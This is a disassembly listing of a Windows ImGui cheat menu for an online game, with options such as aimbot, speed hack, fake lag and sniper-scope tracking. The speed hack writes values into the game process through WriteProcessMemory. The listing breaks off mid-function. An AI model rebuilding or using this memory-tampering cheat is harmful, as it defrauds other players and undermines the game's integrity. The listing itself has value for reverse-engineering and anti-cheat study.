cmp byte [reloc.WS2_32.dll_accept], r15b
sete byte [0x1400f3110]
mov rax, qword [0x140141150]
test rax, rax
jne 0x14004ff7b
mov r8d, 0xfe3
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140141150]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x140140094]
mulss xmm0, dword [0x1400e150c]
cmp ecx, 0xff
jg 0x14004ffa4
cmp byte [reloc.WS2_32.dll_accept], r15b
mov eax, Ordinal_301
jne 0x14004ffa7
mov eax, r15d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x140140094], r8d
cmp r8d, 0xff
jle 0x14004ffe4
mov dword [0x140140094], 0xff
mov r8d, 0xff
mov rcx, qword [0x140141218]
xor edx, edx
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x140140094], r15d
mov edx, r15d
mov rcx, qword [0x140141218]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rbx, qword [0x140141150]
test rbx, rbx
je 0x140050032
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x14005004f
jmp 0x140050035
mov rbx, r15
mov r8d, 0x250
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT____backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r15
jne 0x14005005a
call fcn.140042f60
call fcn.140044110
call fcn.140008070
mov rcx, qword [0x140141150]
movaps xmm0, xmm10
movss xmm1, dword [0x1400e15cc]
xor edx, edx
unpcklps xmm0, xmm10
mov r8d, 0x20ab
movsd qword [rcx + 0x47b8], xmm0
movaps xmm0, xmm10
unpcklps xmm0, xmm10
movsd qword [rcx + 0x47c0], xmm0
movss xmm0, dword [0x1400e15c4]
mov dword [rcx + 0x47ac], r12d
or dword [rcx + 0x47a8], 3
unpcklps xmm0, xmm1
movsd qword [rcx + 0x47c8], xmm0
mov dword [rcx + 0x47b0], r12d
lea rcx, str.General
call fcn.14000e030
mov rcx, qword [0x140141150]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp + 0x6c8]
movsd xmm0, qword [rax + 0x18]
mov rsi, qword [rax + 0x290]
movsd qword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x1400e18b0]
movups xmmword [rbp + 0x6c8], xmm0
call fcn.140004360
movss xmm1, dword [rsp + 0x74]
lea r8, [rbp + 0x60]
movss xmm0, dword [rsp + 0x70]
lea rdx, [rsp + 0x70]
addss xmm1, dword [0x14014009c]
addss xmm0, dword [0x140140098]
movss xmm6, dword [0x1400e14d8]
mov r9d, eax
mov dword [rsp + 0x28], r15d
mov rcx, rsi
movss dword [rsp + 0x20], xmm6
movss dword [rbp + 0x64], xmm1
movss dword [rbp + 0x60], xmm0
call fcn.1400291e0
lea rcx, [0x140140168]
call fcn.140004360
cmp dword [0x1401416b8], r12d
lea rdx, [rsp + 0x70]
movss xmm1, dword [rsp + 0x74]
mov r9d, eax
movss xmm0, dword [rsp + 0x70]
addss xmm1, xmm7
mov dword [rsp + 0x28], Ordinal_50
addss xmm0, xmm8
movss dword [rsp + 0x20], xmm6
mov rcx, rsi
jne 0x14005364f
lea r8, [rbp + 0x68]
movss dword [rbp + 0x68], xmm0
movss dword [rbp + 0x6c], xmm1
call fcn.1400291e0
lea rcx, [0x140140168]
call fcn.140004360
movss xmm1, dword [rsp + 0x74]
lea r8, [rbp + 0x70]
movss xmm0, dword [rsp + 0x70]
addss xmm1, xmm7
addss xmm0, xmm8
mov dword [rsp + 0x28], 0x50
mov r9d, eax
movss dword [rsp + 0x20], xmm6
lea rdx, [rsp + 0x70]
mov rcx, rsi
movss dword [rbp + 0x74], xmm1
movss dword [rbp + 0x70], xmm0
call fcn.1400291e0
movss xmm0, dword [0x14014135c]
ucomiss xmm0, xmm10
jp 0x140050242
jne 0x140050242
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x14014135c], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14014135c]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm9
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x1400502fc
cmp byte [reloc.WS2_32.dll_accept], r15b
movss xmm1, dword [0x140141358]
je 0x1400502b8
comiss xmm13, xmm1
jbe 0x1400502a9
call fcn.1400076f0
movss xmm1, dword [0x140141358]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
addss xmm1, xmm0
movss dword [0x140141358], xmm1
comiss xmm1, xmm13
jb 0x1400502f5
mov byte [reloc.WS2_32.dll_accept], r15b
jmp 0x1400502f5
comiss xmm1, xmm10
jbe 0x1400502e8
call fcn.1400076f0
movss xmm1, dword [0x140141358]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
subss xmm1, xmm0
movss dword [0x140141358], xmm1
comiss xmm10, xmm1
jb 0x1400502f5
mov byte [reloc.WS2_32.dll_accept], r12b
mov dword [0x14014135c], r15d
mov rcx, qword [0x1401426a8]
mov rdi, qword [0x140141150]
mov rbx, rcx
mov qword [rsp + 0x60], rcx
test rcx, rcx
jne 0x140050353
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x14005034b
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], r15d
jg 0x140050344
mov r8d, 0x700
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rsp + 0x60], rcx
mov rbx, rcx
call fcn.140011430
lea rcx, [rdi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001d9c0
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rax + 0x290]
mov rdx, qword [rdx + 8]
call fcn.140026920
movss xmm0, dword [0x140141358]
lea rcx, [rbp + 0x230]
movss dword [rbp + 0x23c], xmm0
mov dword [rbp + 0x230], 0x43420000
mov dword [rbp + 0x234], 0x428a0000
mov dword [rbp + 0x238], 0x42fc0000
call fcn.140004360
movss xmm9, dword [rsp + 0x74]
lea rcx, str.no_name_panel__
movss xmm8, dword [rsp + 0x70]
lea rdx, [rbp - 0x10]
movss xmm0, dword [0x1400e1608]
movaps xmm7, xmm9
movss xmm3, dword [0x1400e15fc]
movaps xmm6, xmm8
subss xmm7, dword [0x1400e155c]
addss xmm6, dword [0x1400e15c0]
addss xmm9, dword [0x1400e158c]
mov edi, eax
mov qword [rsp + 0x30], r15
mov rax, qword [0x140141150]
addss xmm8, xmm10
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.1400316f0
movss xmm2, dword [0x1400e148c]
subss xmm7, xmm9
movss xmm0, dword [rbp - 0x10]
subss xmm6, xmm8
addss xmm0, dword [0x1400e14b8]
mulss xmm7, xmm2
mulss xmm6, xmm2
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp - 0xc]
addss xmm8, xmm6
mulss xmm0, xmm2
movd xmm1, eax
subss xmm9, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x7c], xmm9
movss dword [rbp - 0x10], xmm1
mulss xmm1, xmm2
subss xmm8, xmm1
movss dword [rbp + 0x78], xmm8
test edi, 0xff000000
je 0x140050532
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rsi + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x1400504e2
mov r8d, 0x64d
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
mov byte [rsp + 0x48], r15b
lea rax, [0x1400e0d3f]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp + 0x78]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.no_name_panel__
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.140031910
call fcn.140011560
mov rcx, qword [0x140141150]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [0x140140038]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e1518]
addss xmm1, dword [0x1400e15c8]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x140140038]
call fcn.1400346d0
mov rcx, qword [0x140141150]
lea rdx, str.Tabs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e1538]
addss xmm1, xmm11
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x80], 0x42700000
mov dword [rbp + 0x84], 0x44020000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rcx, str.Tabs
call fcn.14000af20
xor r8d, r8d
lea rcx, str.cdsg
call fcn.140038dd0
mov r8d, r12d
lea rcx, [0x1400e0d44]
call fcn.140038dd0
mov r8d, 3
lea rcx, [0x1400e0d48]
call fcn.140038dd0
mov r8d, 2
lea rcx, [0x1400d4704]
call fcn.140038dd0
mov r8d, 4
lea rcx, [0x1400e0d4c]
call fcn.140038dd0
call fcn.14000b280
mov eax, dword [0x1401416a0]
test eax, eax
jne 0x140050e6f
mov rcx, qword [0x140141150]
lea rdx, [0x1400e0d50]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm15
addss xmm1, xmm12
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x88], 0x43960000
mov dword [rbp + 0x8c], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp + 0x88]
lea rcx, [0x1400e0d50]
call fcn.14000af20
mov rax, qword [0x140141600]
mov r9, qword [0x1401415f8]
sub rax, r9
sar rax, 3
mov dword [rsp + 0x20], eax
call fcn.14003a6a0
mov eax, dword [0x1401416bc]
test eax, eax
jne 0x140050823
lea r9, [0x140141168]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x14014129a]
lea rcx, str.Aimbot_Head
call fcn.140036500
mov byte [0x140141228], al
test al, al
je 0x1400507fa
cmp byte [0x14014129a], r15b
je 0x1400507d5
lea rcx, [rbp + 0x400]
call fcn.140057770
lea rcx, [rbp + 0x400]
call fcn.140045b80
cmp dword [rbp + 0x408], r15d
jmp 0x1400507f4
lea rcx, [rbp + 0x410]
call fcn.140057770
lea rcx, [rbp + 0x410]
call fcn.140045b80
cmp dword [rbp + 0x418], r15d
jne 0x14005419b
xor ecx, ecx
call fcn.140007300
test al, al
je 0x14005081d
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
call fcn.140015e20
mov eax, dword [0x1401416bc]
cmp eax, r12d
jne 0x1400508a5
lea r9, [0x14014122c]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x140141295]
lea rcx, str.Aimbot_Drag
call fcn.140036500
mov byte [0x1401411be], al
test al, al
je 0x140050928
cmp byte [0x140141295], r15b
je 0x140050884
lea rcx, [rbp + 0x420]
call fcn.1400577e0
lea rcx, [rbp + 0x420]
call fcn.140045b80
cmp dword [rbp + 0x428], r15d
jmp 0x140050922
lea rcx, [rbp + 0x430]
call fcn.1400577e0
lea rcx, [rbp + 0x430]
call fcn.140045b80
cmp dword [rbp + 0x438], r15d
jmp 0x140050922
cmp eax, 2
jne 0x14005094b
lea r9, [0x1401411b8]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x14014124f]
lea rcx, str.Aimbot_Ledy_Fix
call fcn.140036500
mov byte [0x14014116c], al
test al, al
je 0x140050928
cmp byte [0x14014124f], r15b
je 0x140050903
lea rcx, [rbp + 0x3f0]
call fcn.140057850
lea rcx, [rbp + 0x3f0]
call fcn.140045b80
cmp dword [rbp + 0x3f8], r15d
jmp 0x140050922
lea rcx, [rbp + 0x450]
call fcn.140057850
lea rcx, [rbp + 0x450]
call fcn.140045b80
cmp dword [rbp + 0x458], r15d
jne 0x14005419b
xor ecx, ecx
call fcn.140007300
test al, al
je 0x14005094b
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
call fcn.140015e20
cmp byte [0x1401412aa], r15b
jne 0x1400509dd
xor r9d, r9d
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x140141292]
lea rcx, str.Speed_Load__External_
call fcn.140036500
mov byte [0x14014116f], al
test al, al
je 0x1400509ad
cmp byte [0x140141292], r15b
je 0x1400509ad
lea rcx, [rbp + 0x460]
call fcn.1400578c0
lea rcx, [rbp + 0x460]
call fcn.140045b80
cmp dword [rbp + 0x468], r15d
jne 0x14005419b
xor ecx, ecx
call fcn.140007300
test al, al
je 0x1400509d0
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
call fcn.140015e20
cmp byte [0x1401412aa], r15b
je 0x140050c9b
lea r9, [0x140141160]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x140141298]
lea rcx, str.Speed__RISK_
call fcn.140036500
mov byte [0x140141215], al
test al, al
je 0x140050a57
cmp byte [0x140141298], r15b
je 0x140050a32
lea rcx, [rbp + 0x470]
call fcn.140057930
lea rcx, [rbp + 0x470]
call fcn.140045b80
cmp dword [rbp + 0x478], r15d
jmp 0x140050a51
lea rcx, [rbp + 0x480]
call fcn.1400579a0
lea rcx, [rbp + 0x480]
call fcn.140045b80
cmp dword [rbp + 0x488], r15d
jne 0x14005419b
movss xmm3, dword [0x1400e1550]
lea rax, str._.1fX
movss xmm2, dword [0x1400e146c]
lea rdx, [0x140118a78]
lea rcx, str.SPEED_CONTROL
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x78], r12d
mov dword [rsp + 0x7c], 0x3d687068
call fcn.14003b830
test al, al
je 0x140050bc0
lea rdx, [rsp + 0x78]
call fcn.14004e6f0
mov rax, qword [0x140141670]
mov esi, r15d
mov rdx, qword [0x140141668]
sub rax, rdx
sar rax, 3
test rax, rax
je 0x140050b73
mov rbx, r15
nop dword [rax]
mov rax, qword [0x140141220]
mov rdi, qword [rbx + rdx]
test rax, rax
jne 0x140050af5
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400bf0fc
mov qword [0x140141220], rax
mov dword [rax + 8], r15d
mov rcx, qword [rax]
lea r8, [rsp + 0x78]
mov r9d, 8
mov qword [rsp + 0x20], r15
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140050b4c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WriteProcessMemory_failed_for_address:
call fcn.140057470
mov rcx, qword [0x140141668]
mov rdx, qword [rbx + rcx]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140141670]
inc esi
mov rdx, qword [0x140141668]
add rbx, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140050ad0
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.SPEED_HACK_ACTIVATED
lea rcx, [0x140140038]
call fcn.140056f40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Updated_Slider_Value:
call fcn.140057470
movss xmm1, dword [0x140118a78]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x14014129f]
lea rcx, str.Speed_Reset
call fcn.140036500
mov byte [0x1401412a2], al
test al, al
je 0x140050c15
cmp byte [0x14014129f], r15b
je 0x140050c15
lea rcx, [rbp + 0x490]
call fcn.140057a10
lea rcx, [rbp + 0x490]
call fcn.140045b80
cmp dword [rbp + 0x498], r15d
jne 0x14005419b
mov ecx, dword [0x140141168]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x140050c9b
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x1c8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140059740]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x1400540ca
cmp dword [rbp + 0x1c8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1c0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
lea rax, str._.1f_seconds
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rax
lea r9, [rbp + 8]
lea rax, [rbp]
mov dword [rbp], 0x4099999a
lea r8, [0x14013f4a0]
mov qword [rsp + 0x20], rax
mov edx, 8
mov dword [rbp + 8], 0x3e4ccccd
lea rcx, str.FAKE_LAG_TIME
call fcn.14003a8a0
lea r9, [0x1401412ac]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x14014124c]
lea rcx, str.FAKE_LAG
call fcn.140037a60
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140050d4c
cmp byte [rcx + 0x48f2], r15b
jne 0x140050d4c
test byte [rcx + 0x4770], 4
jne 0x140050e64
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140050e64
test eax, eax
jne 0x140050e1b
jmp 0x140050e64
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140050e64
cmp qword [rcx + 0x3ed8], r9
je 0x140050d6c
test al, al
jns 0x140050e64
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140050d91
cmp eax, dword [rcx + 0x476c]
je 0x140050d91
cmp byte [rcx + 0x3f3d], r15b
jne 0x140050d91
cmp eax, dword [r9 + 0x74]
jne 0x140050e64
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140050dfd
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140050dfd
cmp byte [rdx + 0xaf], r15b
je 0x140050dfd
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140050dfd
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140050dd0
bt r8d, 0x1a
jae 0x140050dfd
cmp qword [rax + 0x370], rdx
je 0x140050dfd
nop dword [rax]
cmp rax, rdx
je 0x140050dfd
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140050de0
test dword [rcx + 0x4770], 0x100
je 0x140050e64
test byte [rcx + 0x4770], 4
jne 0x140050e64
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140050e1b
cmp byte [r9 + 0xb0], r15b
jne 0x140050e64
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140050e5f
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
call fcn.14000b280
mov eax, dword [0x1401416a0]
cmp eax, r12d
jne 0x1400515ff
mov rcx, qword [0x140141150]
lea rdx, str.Visual
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm15
addss xmm1, xmm12
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x90], 0x43960000
mov dword [rbp + 0x94], 0x43f00000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp + 0x90]
lea rcx, str.Visual
call fcn.14000af20
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY_AND_INGAME
lea rdx, [0x140141297]
lea rcx, str.SNIPER_SOCPE
call fcn.140036500
mov byte [0x140141214], al
test al, al
je 0x140050f8f
cmp byte [0x140141297], r15b
je 0x140050f6a
lea rcx, [rbp + 0x4a0]
call fcn.140057a80
lea rcx, [rbp + 0x4a0]
call fcn.140045b80
cmp dword [rbp + 0x4a8], r15d
jmp 0x140050f89
lea rcx, [rbp + 0x4b0]
call fcn.140057af0
lea rcx, [rbp + 0x4b0]
call fcn.140045b80
cmp dword [rbp + 0x4b8], r15d
jne 0x14005419b
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY_AND_INGAME
lea rdx, [0x14014129b]
lea rcx, str.SNIPER_SOCPE_TRACKING
call fcn.140036500
mov byte [0x140141229], al
test al, al
je 0x140051005
cmp byte [0x14014129b], r15b
je 0x140050fe0
lea rcx, [rbp + 0x4c0]
call fcn.140057b60
lea rcx, [rbp + 0x4c0]
call fcn.140045b80
cmp dword [rbp + 0x4c8], r15d
jmp 0x140050fff
lea rcx, [rbp + 0x4d0]
call fcn.140057bd0
lea rcx, [rbp + 0x4d0]
call fcn.140045b80
cmp dword [rbp + 0x4d8], r15d
jne 0x14005419b
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY_AND_INGAME
lea rdx, [0x140141235]
lea rcx, str.SNIPER_SWITCH
call fcn.140036500
mov byte [0x14014114a], al
test al, al
je 0x14005107b
cmp byte [0x140141235], r15b
je 0x140051056
lea rcx, [rbp + 0x4e0]
call fcn.140057c40
lea rcx, [rbp + 0x4e0]
call fcn.140045b80
cmp dword [rbp + 0x4e8], r15d
jmp 0x140051075
lea rcx, [rbp + 0x4f0]
call fcn.140057cb0
lea rcx, [rbp + 0x4f0]
call fcn.140045b80
cmp dword [rbp + 0x4f8], r15d
jne 0x14005419b
cmp byte [0x14014114c], r15b
jne 0x140051216
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY_AND_INGAME__RISK_
lea rdx, [0x14014124e]
lea rcx, str.CAMERA_AND_LENDING
call fcn.140036500
mov byte [0x14014114f], al
test al, al
je 0x1400510dd
cmp byte [0x14014124e], r15b
je 0x1400510dd
lea rcx, [rbp + 0x500]
call fcn.140057d20
lea rcx, [rbp + 0x500]
call fcn.140045b80
cmp dword [rbp + 0x508], r15d
jne 0x14005419b
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140051129
cmp byte [rcx + 0x48f2], r15b
jne 0x140051129
test byte [rcx + 0x4770], 4
jne 0x140051209
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140051209
test eax, eax
jne 0x1400511f1
jmp 0x140051209
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140051209
cmp qword [rcx + 0x3ed8], r9
je 0x140051149
test al, al
jns 0x140051209
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005116e
cmp eax, dword [rcx + 0x476c]
je 0x14005116e
cmp byte [rcx + 0x3f3d], r15b
jne 0x14005116e
cmp eax, dword [r9 + 0x74]
jne 0x140051209
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400511d3
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400511d3
cmp byte [rdx + 0xaf], r15b
je 0x1400511d3
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400511d3
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400511ad
bt r8d, 0x1a
jae 0x1400511d3
cmp qword [rax + 0x370], rdx
je 0x1400511d3
cmp rax, rdx
je 0x1400511d3
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400511b6
test dword [rcx + 0x4770], 0x100
je 0x140051209
test byte [rcx + 0x4770], 4
jne 0x140051209
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400511f1
cmp byte [r9 + 0xb0], r15b
jne 0x140051209
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
call fcn.140015e20
cmp byte [0x14014114c], r15b
je 0x1400515f4
lea r9, [0x140141210]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x140141291]
lea rcx, str.CAMARA_LEFT
call fcn.140036500
movzx eax, al
mov dword [0x1401416a4], eax
test eax, eax
je 0x140051293
cmp byte [0x140141291], r15b
je 0x14005126e
lea rcx, [rbp + 0x510]
call fcn.140057d90
lea rcx, [rbp + 0x510]
call fcn.140045b80
cmp dword [rbp + 0x518], r15d
jmp 0x14005128d
lea rcx, [rbp + 0x520]
call fcn.140057e00
lea rcx, [rbp + 0x520]
call fcn.140045b80
cmp dword [rbp + 0x528], r15d
jne 0x14005419b
lea rax, str._.1fX
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rbp - 0x80], r15d
lea r8, [0x140118a7c]
mov qword [rsp + 0x20], rax
mov edx, 8
mov qword [rbp - 0x7c], 0x40780000
lea rcx, str.CAMARA_LEFT_CONTROL
mov dword [rbp - 0x74], r15d
mov dword [rbp - 0x70], 0xbf800000
mov dword [rbp - 0x6c], r15d
mov dword [rbp - 0x68], 0xbf800000
mov qword [rbp - 0x64], r15
mov qword [rbp - 0x5c], 0x3f800000
mov qword [rbp - 0x54], r15
mov dword [rbp - 0x4c], r15d
mov qword [rbp - 0x48], 0x3f800000
mov dword [rbp - 0x40], r15d
mov dword [rbp - 0x3c], 0xbf800000
mov dword [rbp - 0x38], 0x7f800000
mov dword [rbp - 0x34], 0x7f800000
mov dword [rbp - 0x30], 0x7f800000
mov dword [rbp - 0x2c], 0xff800000
mov dword [rbp + 0x10], 0x41a00000
mov dword [rbp + 0x18], 0x3e4ccccd
call fcn.14003a8a0
test al, al
